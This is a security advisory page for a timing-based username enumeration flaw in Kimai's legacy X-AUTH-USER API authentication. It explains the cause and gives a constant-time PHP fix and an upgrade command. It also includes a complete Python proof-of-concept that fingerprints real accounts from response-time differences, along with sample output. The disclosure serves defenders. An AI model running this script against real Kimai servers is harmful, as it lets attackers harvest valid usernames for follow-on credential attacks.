VDB
LOW 3.7

GHSA-jrc6-fmhw-fpq2

Kimai: Username enumeration via timing on X-AUTH-USER

Quick fix

GHSA-jrc6-fmhw-fpq2 — kimai/kimai: upgrade to the fixed version with the command below.

composer require kimai/kimai:^2.54.0

Details

## Details

`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{"message":"Invalid credentials"}`, HTTP 403), so the leak is purely timing.

The `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.

The legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

## Proof of concept

```python #!/usr/bin/env python3 """Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse import ssl import statistics import sys import time import urllib.error import urllib.request

PROBE_PATH = "/api/users/me" BASELINE_USER = "baseline_no_such_user_zzz" DUMMY_TOKEN = "x" * 32

def probe(url, user, ctx): req = urllib.request.Request( url + PROBE_PATH, headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN}, ) t0 = time.perf_counter() try: urllib.request.urlopen(req, context=ctx, timeout=10).read() except urllib.error.HTTPError as e: e.read() return (time.perf_counter() - t0) * 1000.0

def median_ms(url, user, samples, ctx): return statistics.median(probe(url, user, ctx) for _ in range(samples))

def load_candidates(path): with open(path) as f: return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]

def main(): ap = argparse.ArgumentParser(description=__doc__.strip()) ap.add_argument("-u", "--url", required=True, help="base URL, e.g. https://kimai.example") ap.add_argument("-l", "--list", required=True, metavar="FILE", help="one candidate username per line") ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS", help="median delta over baseline that flags a real user") ap.add_argument("-n", "--samples", type=int, default=15) ap.add_argument("--verify-tls", action="store_true") args = ap.parse_args()

url = args.url.rstrip("/") ctx = None if args.verify_tls else ssl._create_unverified_context() candidates = load_candidates(args.list)

baseline = median_ms(url, BASELINE_USER, args.samples, ctx) print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

width = max(len(u) for u in candidates) print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict") print("-" * (width + 30)) for user in candidates: m = median_ms(url, user, args.samples, ctx) delta = m - baseline verdict = "REAL" if delta > args.threshold else "-" print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}")

if __name__ == "__main__": main() ```

Usage:

``` $ ./timing_oracle.py -u https://target -l users.txt -n 15 [*] calibrating baseline with 15 samples [*] baseline median: 37.7 ms [*] probing 13 candidates (n=15, threshold=15.0 ms)

username median delta verdict ---------------------------------------------------------- user1@example.com 64.2ms +26.5ms REAL user2@example.com 72.4ms +34.7ms REAL user3@example.com 70.0ms +32.3ms REAL tester.nonexistent@example.com 37.2ms -0.5ms - admin 63.6ms +25.9ms REAL administrator 38.2ms +0.4ms - root 37.3ms -0.4ms - test 33.6ms -4.1ms - demo 38.2ms +0.5ms - kimai 37.0ms -0.7ms - nonexistent_user_aaa 38.1ms +0.4ms - nonexistent_user_bbb 37.5ms -0.2ms - nonexistent_user_ccc 38.4ms +0.7ms - ```

In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.

## Fix

In `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:

```php private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';

try { $user = $this->userProvider->loadUserByIdentifier($credentials['username']); } catch (UserNotFoundException $e) { $this->passwordHasherFactory ->getPasswordHasher(User::class) ->verify(self::DUMMY_HASH, $credentials['password']); throw $e; } ```

The dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant.

## Relevance

The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. 

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist / kimai/kimai
Introduced in: 0 Fixed in: 2.54.0
Fix composer require kimai/kimai:^2.54.0

References